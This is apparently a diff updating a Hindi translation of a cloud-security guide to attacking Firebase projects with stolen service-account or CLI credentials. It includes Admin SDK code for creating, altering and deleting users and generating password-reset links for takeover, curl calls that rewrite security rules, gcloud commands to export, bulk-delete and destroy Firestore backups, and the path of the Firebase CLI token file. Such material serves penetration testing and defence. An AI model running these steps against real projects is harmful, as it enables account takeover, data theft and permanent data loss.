+इसके अलावा, attacker verification links या password-reset links जनरेट कर सकता है ताकि किसी user का password बदलकर उसके account तक पहुंच हासिल की जा सके।
 ```bash
 link = auth.generate_email_verification_link(email)
 print(f'Link de verificación: {link}')
 link = auth.generate_password_reset_link(email)
 print(f'Link de reset: {link}')
 ```
-### Firebase सेवाओं में सुरक्षा नियमों का संशोधन
-हमलावर को सेवा के अनुसार security rules को संशोधित करने के लिए विशिष्ट अनुमतियाँ चाहिए। Cloud Firestore और Firebase Cloud Storage के लिए, आवश्यक अनुमतियाँ `firebaserules.rulesets.create` (rulesets बनाने के लिए) और `firebaserules.releases.create` (releases deploy करने के लिए) हैं। ये अनुमतियाँ `roles/firebaserules.admin` रोल में शामिल हैं या उच्च-स्तरीय रोलों में जैसे `roles/firebase.developAdmin` और `roles/firebase.admin`। Firebase Realtime Database के लिए, आवश्यक अनुमति `firebasedatabase.instances.update` है।
+### Firebase Authentication में उपयोगकर्ता प्रबंधन
+एक attacker को इस हमले को अंजाम देने के लिए विशिष्ट Firebase Authentication permissions की आवश्यकता होती है। आवश्यक permissions हैं:

-हमलावर को security rules को संशोधित करने के लिए Firebase REST API का उपयोग करना होगा।
-सबसे पहले, हमलावर को service account credentials का उपयोग करके एक access token प्राप्त करना होगा।
+- `firebaseauth.users.create` उपयोगकर्ता बनाने के लिए
+- `firebaseauth.users.update` मौजूदा उपयोगकर्ताओं में संशोधन करने के लिए
+- `firebaseauth.users.delete` उपयोगकर्ताओं को हटाने के लिए
+- `firebaseauth.users.get` उपयोगकर्ता जानकारी प्राप्त करने के लिए
+- `firebaseauth.users.sendEmail` उपयोगकर्ताओं को ईमेल भेजने के लिए
+- `firebaseauth.users.createSession` उपयोगकर्ता sessions बनाने के लिए
+
+ये permissions `roles/firebaseauth.admin` role में शामिल हैं, जो Firebase Authentication resources पर पूर्ण read/write access देता है। ये उच्च-स्तरीय roles जैसे `roles/firebase.developAdmin` (जो सभी firebaseauth.* permissions को शामिल करता है) और `roles/firebase.admin` (सभी Firebase सेवाओं के लिए पूर्ण एक्सेस) का भी हिस्सा हैं।
+
+Firebase Admin SDK का उपयोग करने के लिए, attacker को service account credentials (एक JSON फ़ाइल) तक पहुँच की आवश्यकता होगी, जिन्हें compromised systems, publicly exposed code repositories, compromised CI/CD environments, या उन developer accounts के compromise के माध्यम से प्राप्त किया जा सकता है जिनके पास इन credentials तक पहुँच है।
+
+पहला कदम service account credentials का उपयोग करके Firebase Admin SDK को configure करना है।
+```bash
+import firebase_admin
+from firebase_admin import credentials, auth
+cred = credentials.Certificate('path/to/serviceAccountKey.json')
+firebase_admin.initialize_app(cred)
+```
+पीड़ित के ईमेल का उपयोग करके एक दुर्भावनापूर्ण उपयोगकर्ता बनाने के लिए, हमलावर उस ईमेल के साथ एक नया उपयोगकर्ता खाता बनाने का प्रयास करेगा और अपना पासवर्ड तथा प्रोफ़ाइल जानकारी असाइन करेगा।
+```bash
+user = auth.create_user(
+email='victima@example.com',
+email_verified=False,
+password='password123',
+display_name='Usuario Malicioso',
+disabled=False
+)
+print(f'Usuario creado: {user.uid}')
+```
+किसी मौजूदा उपयोगकर्ता को संशोधित करने के लिए, हमलावर ऐसे फ़ील्ड बदल देगा जैसे कि ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं।
+```bash
+user = auth.update_user(
+uid,
+email='nuevo-email@example.com',
+email_verified=True,
+disabled=False
+)
+print(f'Usuario actualizado: {user.uid}')
+```
+किसी उपयोगकर्ता खाते को हटाने के लिए — प्रभावी रूप से एक denial of service उत्पन्न करते हुए — हमलावर उस उपयोगकर्ता को स्थायी रूप से हटाने का अनुरोध भेजेगा।
+```bash
+auth.delete_user(uid)
+print('Usuario eliminado exitosamente')
+```
+attacker मौजूदा उपयोगकर्ताओं की जानकारी भी प्राप्त कर सकता है, जैसे उनका UID या email, उपयोगकर्ता विवरण को UID या email address द्वारा अनुरोध करके।
+```bash
+user = auth.get_user(uid)
+print(f'Información del usuario: {user.uid}, {user.email}')
+user = auth.get_user_by_email('usuario@example.com')
+print(f'Información del usuario: {user.uid}, {user.email}')
+```
+इसके अतिरिक्त, attacker verification links या password-reset links जेनरेट कर सकता है, जिससे वे किसी उपयोगकर्ता का password बदलकर खाते पर नियंत्रण ले सकते हैं।
+```bash
+link = auth.generate_email_verification_link(email)
+print(f'Link de verificación: {link}')
+link = auth.generate_password_reset_link(email)
+print(f'Link de reset: {link}')
+```
+### Firebase सेवाओं में सुरक्षा नियमों में संशोधन
+attacker को सेवा के अनुसार सुरक्षा नियमों में संशोधन करने के लिए विशिष्ट permissions की आवश्यकता होती है। Cloud Firestore और Firebase Cloud Storage के लिए, आवश्यक permissions `firebaserules.rulesets.create` (rulesets बनाने के लिए) और `firebaserules.releases.create` (releases deploy करने के लिए) हैं। ये permissions `roles/firebaserules.admin` role में शामिल हैं या उच्च-स्तरीय roles जैसे `roles/firebase.developAdmin` और `roles/firebase.admin` में। Firebase Realtime Database के लिए, आवश्यक permission `firebasedatabase.instances.update` है।
+
+attacker को सुरक्षा नियमों में संशोधन करने के लिए Firebase REST API का उपयोग करना होगा।
+सबसे पहले, attacker को service account credentials का उपयोग करके access token प्राप्त करना होगा।
 टोकन प्राप्त करने के लिए:
 ```bash
 gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
 ACCESS_TOKEN=$(gcloud auth print-access-token)
 ```
-Firebase Realtime Database rules को संशोधित करने के लिए:
+Firebase Realtime Database नियमों को संशोधित करने के लिए:
 ```bash
 curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
 -H "Content-Type: application/json" \
@@ -331,7 +335,7 @@ curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rule
 }
 }'
 ```
-पिछली कमांड projects/<project-id>/rulesets/<ruleset-id> फ़ॉर्मैट में एक ruleset नाम लौटाती है। नई वर्ज़न को डिप्लॉय करने के लिए release को PATCH request का उपयोग करके अपडेट करना होगा:
+पिछला कमांड projects/<project-id>/rulesets/<ruleset-id> प्रारूप में एक ruleset नाम लौटाता है। नए संस्करण को deploy करने के लिए, release को PATCH request का उपयोग करके अपडेट करना होगा:
 ```bash
 curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
 -H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -343,7 +347,7 @@ curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/rel
 }
 }'
 ```
-Firebase Cloud Storage rules को संशोधित करने के लिए:
+Firebase Cloud Storage नियम संशोधित करने के लिए:
 ```bash
 curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
 -H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -357,7 +361,7 @@ curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rule
 }
 }'
 ```
-पिछली कमांड projects/<project-id>/rulesets/<ruleset-id> प्रारूप में एक ruleset नाम लौटाती है। नए संस्करण को तैनात करने के लिए, release को PATCH request का उपयोग करके अपडेट करना होगा:
+पिछला कमांड projects/<project-id>/rulesets/<ruleset-id> फ़ॉर्मेट में एक ruleset नाम लौटाता है। नए संस्करण को तैनात करने के लिए, रिलीज़ को PATCH request का उपयोग करके अपडेट करना होगा:
 ```bash
 curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
 -H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -369,17 +373,17 @@ curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/rel
 }
 }'
 ```
-### Cloud Firestore में डेटा एक्सफ़िल्ट्रेशन और हेरफेर
-Cloud Firestore उसी infrastructure और permission system का उपयोग करता है जो Cloud Datastore में होता है, इसलिए Datastore IAM permissions सीधे Firestore पर लागू होते हैं। TTL नीतियों को बदलने के लिए `datastore.indexes.update` permission की आवश्यकता होती है। डेटा को export करने के लिए `datastore.databases.export` permission की आवश्यकता होती है। डेटा को import करने के लिए datastore.databases.import permission की आवश्यकता होती है। बड़े पैमाने पर डेटा हटाने के लिए `datastore.databases.bulkDelete` permission आवश्यक है।
+### Data exfiltration and manipulation in Cloud Firestore
+Cloud Firestore वही infrastructure और permission सिस्टम इस्तेमाल करता है जो Cloud Datastore में है, इसलिए Datastore IAM permissions सीधे Firestore पर लागू होते हैं। TTL policies को बदलने के लिए `datastore.indexes.update` permission चाहिए। डेटा export करने के लिए `datastore.databases.export` permission चाहिए। डेटा import करने के लिए datastore.databases.import permission चाहिए। बड़े पैमाने पर डेटा हटाने के लिए `datastore.databases.bulkDelete` permission चाहिए।

-बैकअप और रिस्टोर ऑपरेशनों के लिए विशिष्ट permissions चाहिए:
+Backup और restore ऑपरेशन्स के लिए विशेष permissions की आवश्यकता होती है:

- `datastore.backups.get` और `datastore.backups.list` ताकि उपलब्ध बैकअप की सूची और विवरण प्राप्त कर सकें
- `datastore.backups.delete` बैकअप हटाने के लिए
- `datastore.backups.restoreDatabase` बैकअप से डेटाबेस restore करने के लिए
- `datastore.backupSchedules.create` और `datastore.backupSchedules.delete` बैकअप शेड्यूल मैनेज करने के लिए
+- `datastore.backups.get` और `datastore.backups.list` उपलब्ध backups को सूचीबद्ध करने और उनके विवरण प्राप्त करने के लिए
+- `datastore.backups.delete` backups को हटाने के लिए
+- `datastore.backups.restoreDatabase` किसी backup से database को restore करने के लिए
+- `datastore.backupSchedules.create` और `datastore.backupSchedules.delete` backup schedules को manage करने के लिए

-जब कोई TTL पॉलिसी बनाई जाती है, तो हटाने के लिए योग्य इकाइयों की पहचान करने हेतु एक निर्दिष्ट property चुनी जाती है। यह TTL property Date and time टाइप की होनी चाहिए। आक्रमणकर्ता किसी मौजूदा property को चुन सकता है या कोई ऐसी property निर्दिष्ट कर सकता है जिसे वे बाद में जोड़ने का योजना बना रहे हों। यदि फ़ील्ड का मान किसी बीते हुए दिनांक का है, तो दस्तावेज़ तुरंत हटाने के लिए योग्य हो जाता है। आक्रमणकर्ता TTL नीतियों को manipulate करने के लिए gcloud CLI का उपयोग कर सकता है।
+जब कोई TTL policy बनाई जाती है, तो deletion के लिए योग्य entities की पहचान के लिए एक निर्दिष्ट property चुनी जाती है। यह TTL property Date and time प्रकार की होनी चाहिए। एक हमलावर पहले से मौजूद किसी property को चुन सकता है या कोई ऐसा property निर्दिष्ट कर सकता है जिसे वे बाद में जोड़ने की योजना बनाते हैं। यदि field का मान अतीत की कोई तारीख है, तो document तुरंत deletion के लिए योग्य हो जाता है। हमलावर TTL policies को बदलने के लिए gcloud CLI का उपयोग कर सकता है।
 ```bash
 # Enable TTL
 gcloud firestore fields ttls update expireAt \
@@ -390,7 +394,7 @@ gcloud firestore fields ttls update expireAt \
 --collection-group=users \
 --disable-ttl
 ```
-डेटा export करने और उसे exfiltrate करने के लिए attacker gcloud CLI का उपयोग कर सकता है।
+डेटा निर्यात करने और इसे exfiltrate करने के लिए, हमलावर gcloud CLI का उपयोग कर सकता है।
 ```bash
 gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
 ```
@@ -398,15 +402,15 @@ gcloud firestore export gs://<bucket-name> --project=<project-id> --async --data
 ```bash
 gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
 ```
-बड़े पैमाने पर डेटा हटाने और denial of service पैदा करने के लिए, हमलावर gcloud Firestore bulk-delete tool का उपयोग करके पूरी collections को हटा सकता है।
+विस्तृत डेटा हटाने और denial of service पैदा करने के लिए, हमलावर gcloud Firestore bulk-delete tool का उपयोग करके संपूर्ण collections को हटा सकता है।
 ```bash
 gcloud firestore bulk-delete \
 --collection-ids=users,posts,messages \
 --database='(default)' \
 --project=<project-id>
 ```
-बैकअप और restoration ऑपरेशन्स के लिए, attacker scheduled backups बना सकता है ताकि database की current state capture की जा सके, existing backups को list किया जा सके, किसी backup से restore करके हालिया बदलावों को overwrite किया जा सके, backups को delete करके permanent data loss कराई जा सके, और scheduled backups को हटाया जा सके।
-एक दैनिक backup schedule बनाने के लिए जो तुरंत एक backup generate करे:
+backup और restoration ऑपरेशनों के लिए, हमलावर database की वर्तमान स्थिति capture करने के लिए scheduled backups बना सकता है, मौजूदा backups की सूची देख सकता है, हाल के बदलावों को overwrite करने के लिए किसी backup से restore कर सकता है, स्थायी डेटा हानि पैदा करने के लिए backups को delete कर सकता है, और scheduled backups को हटा सकता है।
+एक दैनिक backup schedule बनाने के लिए जो तुरंत एक backup जनरेट करे:
 ```bash
 gcloud firestore backups schedules create \
 --database='(default)' \
@@ -414,29 +418,29 @@ gcloud firestore backups schedules create \
 --retention=14w \
 --project=<project-id>
 ```
-किसी विशिष्ट backup से restore करने के लिए, attacker उस backup में मौजूद डेटा का उपयोग करके एक नया database बना सकता है। restore ऑपरेशन backup का डेटा एक नए database में लिखता है, जिसका अर्थ है कि मौजूदा DATABASE_ID का उपयोग नहीं किया जा सकता।
+किसी विशिष्ट बैकअप से पुनर्स्थापित करने के लिए, attacker उस बैकअप में मौजूद डेटा का उपयोग करके एक नया डेटाबेस बना सकता है। रिस्टोर ऑपरेशन बैकअप का डेटा एक नए डेटाबेस में लिखता है, जिसका अर्थ है कि मौजूदा DATABASE_ID का उपयोग नहीं किया जा सकता।
 ```bash
 gcloud firestore databases restore \
 --source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
 --destination-database='<new-database-id>' \
 --project=<project-id>
 ```
-एक backup को हटाने और स्थायी डेटा हानि का कारण बनने के लिए:
+एक backup को हटाने और स्थायी data loss का कारण बनने के लिए:
 ```bash
 gcloud firestore backups delete \
 --backup=<backup-id> \
 --project=<project-id>
 ```
-### Firebase CLI प्रमाण-पत्रों की चोरी और दुरुपयोग
-एक हमलावर को इस हमले को अंजाम देने के लिए किसी विशेष Firebase अनुमतियों की आवश्यकता नहीं होती, लेकिन उन्हें डेवलपर के लोकल सिस्टम या Firebase CLI क्रेडेंशियल फ़ाइल तक पहुँच चाहिए। ये क्रेडेंशियल्स एक JSON फ़ाइल में संग्रहीत होते हैं जो इस स्थान पर स्थित है:
+### Firebase CLI credentials की चोरी और दुरुपयोग
+एक attacker को इस attack को अंजाम देने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती, लेकिन उन्हें developer के लोकल सिस्टम या Firebase CLI credentials फ़ाइल तक पहुँच चाहिए। ये credentials एक JSON फ़ाइल में संग्रहीत होते हैं, जो निम्न स्थान पर है:

 - Linux/macOS: ~/.config/configstore/firebase-tools.json

 - Windows: C:\Users\[User]\.config\configstore\firebase-tools.json

-यह फ़ाइल प्रमाणीकरण टोकन रखती है, जिनमें refresh_token और access_token शामिल हैं, जो हमलावर को उस उपयोगकर्ता के रूप में प्रमाणीकरण करने की अनुमति देते हैं जिसने मूल रूप से firebase login चलाया था।
+यह फ़ाइल authentication tokens रखती है, जिनमें refresh_token और access_token शामिल हैं, जो attacker को उस user के रूप में authenticate करने की अनुमति देते हैं जिसने मूल रूप से firebase login चलाया था।

-हमलावर Firebase CLI क्रेडेंशियल फ़ाइल तक पहुँच प्राप्त कर लेता है। वे फिर पूरी फ़ाइल अपनी अपनी प्रणाली पर कॉपी कर सकते हैं, और Firebase CLI अपने डिफ़ॉल्ट स्थान से क्रेडेंशियल्स को स्वतः उपयोग कर लेगा। ऐसा करने के बाद, हमलावर उस उपयोगकर्ता के लिए पहुँच योग्य सभी Firebase प्रोजेक्ट्स को देख सकता है।
+attacker Firebase CLI credentials फ़ाइल तक पहुँच प्राप्त कर लेता है। वे फिर पूरी फ़ाइल अपनी सिस्टम पर कॉपी कर सकते हैं, और Firebase CLI स्वचालित रूप से अपनी डिफ़ॉल्ट जगह से credentials का उपयोग करेगा। ऐसा करने के बाद attacker उस user द्वारा पहुँच योग्य सभी Firebase projects देख सकता है।
 ```bash
 firebase projects:list
 ```